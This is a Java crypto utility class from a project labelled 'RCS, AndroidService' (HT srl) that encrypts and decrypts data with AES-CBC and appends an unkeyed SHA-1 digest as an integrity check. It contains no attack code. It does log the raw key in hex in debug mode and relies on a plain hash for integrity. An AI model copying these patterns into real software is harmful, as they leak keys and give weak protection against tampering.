/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : EncryptionPKCS5.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.crypto; import java.security.InvalidAlgorithmParameterException; import java.security.InvalidKeyException; import java.security.NoSuchAlgorithmException; import java.util.Arrays; import javax.crypto.BadPaddingException; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import com.android.dvci.auto.Cfg; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.Utils; // TODO: Auto-generated Javadoc /** * The Class EncryptionPKCS5. */ public class EncryptionPKCS5 { private CryptoCBC crypto; public EncryptionPKCS5() { } public EncryptionPKCS5(final byte[] key) { try { if (Cfg.DEBUG) { Check.log(TAG + " (EncryptionPKCS5): " + ByteArray.byteArrayToHex(key)); } init(key); } catch (CryptoException e) { if (Cfg.DEBUG) { Check.log(TAG + " (EncryptionPKCS5) Error: " + e); } } } /** * Instantiates a new encryption pkc s5. * * @param key * the key * @throws CryptoException * @throws NoSuchPaddingException * @throws NoSuchAlgorithmException */ public void init(final byte[] key) throws CryptoException { try { crypto = new CryptoCBC(key); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (init) Error: " + e); } throw new CryptoException(); } } /** The Constant DIGEST_LENGTH. */ private static final int DIGEST_LENGTH = 20; /** The debug. */ private static final String TAG = "EncryptionPKCS5"; //$NON-NLS-1$ /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.crypto.Encryption#decryptData(byte[], int, * int) */ public byte[] decryptData(final byte[] cyphered, final int offset, final long enclen) throws CryptoException { if (Cfg.DEBUG) { Check.requires(enclen > 0 && enclen <= cyphered.length, " (decryptData) Assert failed, enclen: " + enclen); Check.requires(offset >= 0 && offset < cyphered.length, " (decryptData) Assert failed, offset: " + offset); Check.requires(cyphered.length >= offset + enclen, " (decryptData) Assert failed, cyphered.length: " + cyphered.length); } // int padlen = cyphered[cyphered.length -1]; // int plainlen = enclen - padlen; if (Cfg.DEBUG) { Check.requires(enclen % 16 == 0, "Wrong padding"); //$NON-NLS-1$ } byte[] plain; try { plain = crypto.decrypt(cyphered, offset, enclen); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (decryptData) Error: " + e); } throw new CryptoException(); } return plain; } /** * Encrypt data integrity. * * @param plain * the plain * @return the byte[] */ public byte[] encryptDataIntegrity(final byte[] plain) { final byte[] sha = Digest.SHA1(plain); final byte[] plainSha = Utils.concat(plain, sha); if (Cfg.DEBUG) { Check.asserts(sha.length == DIGEST_LENGTH, "sha.length"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.asserts(plainSha.length == plain.length + DIGEST_LENGTH, "plainSha.length"); //$NON-NLS-1$ } try { return crypto.encrypt(plainSha); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptDataIntegrity) Error: " + e); } return null; } } /** * Decrypt data integrity. * * @param cyphered * the cyphered * @return the byte[] * @throws CryptoException * the crypto exception */ public byte[] decryptDataIntegrity(final byte[] cyphered) throws CryptoException { byte[] plainSha; try { plainSha = crypto.decrypt(cyphered, 0, cyphered.length); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (decryptDataIntegrity) Error: " + e); } return null; } final byte[] plain = ByteArray.copy(plainSha, 0, plainSha.length - DIGEST_LENGTH); final byte[] sha = ByteArray.copy(plainSha, plainSha.length - DIGEST_LENGTH, DIGEST_LENGTH); final byte[] calculatedSha = Digest.SHA1(plainSha, 0, plainSha.length - DIGEST_LENGTH); // if(Cfg.DEBUG) Check.asserts(SHA1Digest.DIGEST_LENGTH == 20, //$NON-NLS-1$ // "DIGEST_LENGTH"); if (Cfg.DEBUG) { Check.asserts(plain.length + DIGEST_LENGTH == plainSha.length, "plain.length"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.asserts(sha.length == DIGEST_LENGTH, "sha.length"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.asserts(calculatedSha.length == DIGEST_LENGTH, "calculatedSha.length"); //$NON-NLS-1$ } if (Arrays.equals(calculatedSha, sha)) { return plain; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error: decryptDataIntegrity: sha error!");//$NON-NLS-1$ } throw new CryptoException(); } } public byte[] decryptData(byte[] cypher) throws CryptoException { return decryptData(cypher, 0, cypher.length); } public byte[] encryptData(byte[] clear) throws CryptoException { try { return crypto.encrypt(clear); } catch (InvalidKeyException e) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptData) Error: " + e); } } catch (InvalidAlgorithmParameterException e) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptData) Error: " + e); } } catch (IllegalBlockSizeException e) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptData) Error: " + e); } } catch (BadPaddingException e) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptData) Error: " + e); } } throw new CryptoException(); } }